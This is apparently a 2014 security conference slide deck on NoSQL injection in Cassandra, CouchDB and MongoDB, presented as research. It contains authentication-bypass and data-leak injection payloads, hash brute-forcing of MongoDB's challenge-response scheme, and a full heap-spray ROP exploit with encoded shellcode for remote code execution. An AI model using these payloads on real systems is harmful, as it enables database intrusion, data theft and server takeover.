No SQL injection but NoSQL Injection NoSecurity or not ? 1
Dec 05, 2014
No SQL injection but NoSQL Injection
NoSecurity or not ?
1
2
Plans
› What's/Why NoSQL ?
› Work in progress› Cassandra› CouchDB
› Mass pwnage...
3
NoSQL fashion way of life
› Database system› ''Not only SQL''› More simple› Flexible Schema› Easier scalability/replication› No SQL language› Young and hipster
4
NoSQL Hipsters
5
Cassandra
› Key-Value based› Java› HomeMade Protocol› Port 9160› SSL available› Authentication available› CQL
6
Cassandra › Let's find CQL injection› Cassandra model
› Keyspace (=database)› ColumnFamily (=table)› Key with no fixed Columns
› OR 1=1 ?
7
Cassandra › WHERE CONDITION
› No OR› No UNION› No subrequests› Term must be indexed
columns
8
To be continued...
9
CouchDB
› Documents based› Erlang› RESTfull protocol› SSL available› Port 5984› Authentication available› Javascript based
10
CouchDB - RESTfull
› Use HTTP protocol only› GET, PUT, POST, DELETE...
› curl -X PUT http://localhost:5984/test/
› curl -X POST http://localhost:5984/test/ -H "Content-Type:
application/json" -d {name : 'value'}
› curl -X GET http://localhost:5984/test/_all_docs
› curl -X DELETE http://localhost:5984/test/
› CSRF ?› SOP protected
11
CouchDB - Javascript
› JSON documents
› Special _design documents› views› shows› lists› validate_doc_update
› All in JS› SSJI ?
12
CouchDB - SSJI
› No function rewriting› No variable leak
› _design leak
curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/?test=JSON.stringify(this.validate_doc_update)
"function(newDoc, oldDoc, userCtx) { if(newDoc.auth!='secret') { throw('NO!'); } }"
13
To be continued...
14
0day inside
15
mongoDB
› Documents based› C/C++› Home Made protocol› SSL available› Port 27017› Authentication available› Javascript based
16
mongoDB – Home Made Protocol› Bson based› Challenge response authentication
Nonce : e16fb6a8c31ac15aUser : agix
Key : 3f5c7a073c3fb54c96b860b7f397bfc7
17
./src/mongo/client/dbclient.cpp
Nonce : e16fb6a8c31ac15aUser : agix
Key : 3f5c7a073c3fb54c96b860b7f397bfc7
18
mongoDB – Home Made Protocolkey=md5(nonce+username+md5(username+':mongo :'+clearPassword))
Bruteforce !› md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4'› md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')=› e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key›
› md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810'› md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')=› '3f5c7a073c3fb54c96b860b7f397bfc7'==key
Key : 3f5c7a073c3fb54c96b860b7f397bfc7›
19
mongoDB – Associative Array
› DatabaseCollections
Documents› Data manipulation with JSON array
› db.my_collection.insert({key_name:"value",my_array:[1,2,3],
my_assoc_array:{key1_name:"value",key2_name:"value"}})
› db.my_collection.find({key_name : "value"})
› Special KeyName : operator
20
mongoDB – operators
› Only on update and find query› Conditions
› Comparison ($gt, $in, $ne...)› Logical ($and, $or, $nor, $not)› Element ($exists, $type, $mod)› Javascript ($where, $regex)
›
› Data manipulation with JSON array› db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})
21
mongoDB –
22
mongoDB –
› $_POST is an array › login=test&pass=test => {'login' : 'test', 'pass' : 'test'}
› $_POST can be an associative array› login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'},
'pass' : {'$ne' : 'test'}}
23
mongoDB –
› Authentication bypass
› Informations leak ?› login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' :
'^a.*'}, 'pass' : {'$ne' : 'test'}}› login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' :
'^a.*'}, 'pass' : {'$ne' : 'test'}}
24
mongoDB –
› $regex to get actual document leak› More leak ?
› $WHERE !
› $where=1==1&login[$exists]=test&pass[$exists]=test
25
mongoDB – Blind true/false based
› db.getCollectionNames().length
› db.getCollectionNames()[0][0]
› tojson(db.secret.find({},{_id:0})[0])[3]
26
mongoDB – What else› Check javascript methods on mongo website
› http://docs.mongodb.org/manual/reference/method/run/
› Let's check internal usage...
27
mongoDB – SSJI => RCE
function apply() { [native code]}
function () { return nativeHelper.apply(run_, arguments);}
run
nativeHelper.apply
28
./src/mongo/scripting/engine_spidermonkey.cpp
function apply() { [native code]}
function () { return nativeHelper.apply(run_, arguments);}
run
nativeHelper.apply
29
mongoDB – SSJI => RCE$where=nativeHelper.apply({"x" : 0x31337},
[])&login[$exists]=test&pass[$exists]=test
30
mongoDB – Exploitation
› JAVASCRIPT SERVER SIDE EXPLOIT !
› Write reliable exploit› 32 bits binary› NX bypass› ASLR bypass
› Not stack overflow› No stack control› EIP is not enough
31
mongoDB – Exploitationdb.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a%ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f%u6e69%ue389%u5352%ue189%u0bb0%u80cd"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; } tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);','login':{$exists:'toto'},'pass':{$exists:'toto'}})
32
mongoDB – Exploitation
› Land to the stack› PIVOT 1
› [Eax] => pointer+0xb => nativeHelper argument› Gadget 1 : Mov eax, [eax] … call [eax+0x1c]› nativeHelper argument is UTF8 encoded without null
byte› eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret› Esp-1 => begining of nativeHelper argument› Gadget 3 : [inc esp] to clean stack control
33
mongoDB – Exploitation
› Control the stack› UTF8 and no null byte in nativeHelper argument› PIVOT 2 => to the rop chain heap sprayed
› Gadget 4 : pop eax, ... ret› Eax => rop chain in the heap (0x20202020)› Gadget 5 : xchg esp,eax … ret› RetSled› Stack control done !
34
mongoDB – Exploitation
› Execute shellcode› First Heap Spray with nopsled+shellcode› mmap RWX the heap› Jump to the heap (0x0C0C0C0C)› Enjoy !
35
mongoDB – Exploitation
› To improve› Heap spray is for pork !› 64 bits exploit... (null byte :o :o :o)› Windows exploit› Multiple version exploit
36
The end
› Still mongo 0day \o/› A lot of work to do...
› NoSQL is not so bad !